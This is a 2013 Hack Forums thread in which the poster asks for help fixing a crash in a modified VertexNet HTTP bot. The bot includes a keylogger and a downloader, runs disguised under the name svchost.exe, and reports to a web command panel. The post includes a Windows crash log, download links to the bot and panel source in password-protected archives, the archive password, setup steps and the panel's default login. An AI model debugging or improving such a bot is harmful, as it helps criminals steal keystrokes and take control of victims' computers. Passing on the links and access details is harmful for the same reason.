Hack Forums
[C] Help with Error Expression nptr!=null - [Revised] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C] Help with Error Expression nptr!=null - [Revised] (/showthread.php?tid=3447744)



Help with Error Expression nptr!=null - [Revised] - jessman420 - Apr 30, 2013

Revised ...

Perhaps I am asking for too much help, sorry if this is the case. Instead of helping me debug the entire source, maybe you can tell how to find what causes that type of error. I tried running it in debug overnight and it didn't show any errors, but it stopped visiting my url also.

End of Revision...

I have an app that I modified that runs perfectly, but after some time I get this debug assertion error expression nptr!=null. This occurs after running for about 6 hours.

This is not my source, I left the original credits in place. VertexNet has a nice panel, but the downloader needed static paths, like C:\\test.exe, and this version supports environmental variables and the keylogger works.

I thought it would nice to make a custom version that I could add functions to.

Here is the app crash log and it was running on windows 7 x64.

Memory usage was stable at about 4200k.

Code
Problem signature:
  Problem Event Name:    BEX
  Application Name:    svchost.exe
  Application Version:    0.0.0.0
  Application Timestamp:    517edbfb
  Fault Module Name:    MSVCR100.dll
  Fault Module Version:    10.0.40219.325
  Fault Module Timestamp:    4df2be1e
  Exception Offset:    0008af3e
  Exception Code:    c0000417
  Exception Data:    00
  OS Version:    6.1.7600.2.0.0.256.1
  Locale ID:    1033
  Additional Information 1:    f3d0
  Additional Information 2:    f3d0cb1939d55fa2d2e86e59d2e0a4f7
  Additional Information 3:    7161
  Additional Information 4:    716110750ab474e25d49fecab191687f

Read our privacy statement online:
  http://go.microsoft.com/fwlink/?linkid=104288&clcid=0x0409

If the online privacy statement is not available, please read our privacy statement offline:
  C:\Windows\system32\en-US\erofflps.txt

What is the best way to find what cause this.

It is a win32 application that is compiled in VS2010. It is a http bot that connects to the vertexnet panel that I got from another site, that I modified from a console to a win32 application and added some error handling for the cmd parameters.

Here is the project source only no binaries. Both rar archives have the same pass: hackforums

Bot Project
Code
http://www.mediafire.com/?hxwnjyphd0aif73

Panel
Code
http://www.mediafire.com/?4sq2b6vyfh3plfp

For initial setup add the vertexnet.sql file and import.

Add your sql data in web panel\inc\connection.inc.php

Default login and pass is root|toor

Any help or suggestion would be fantastic.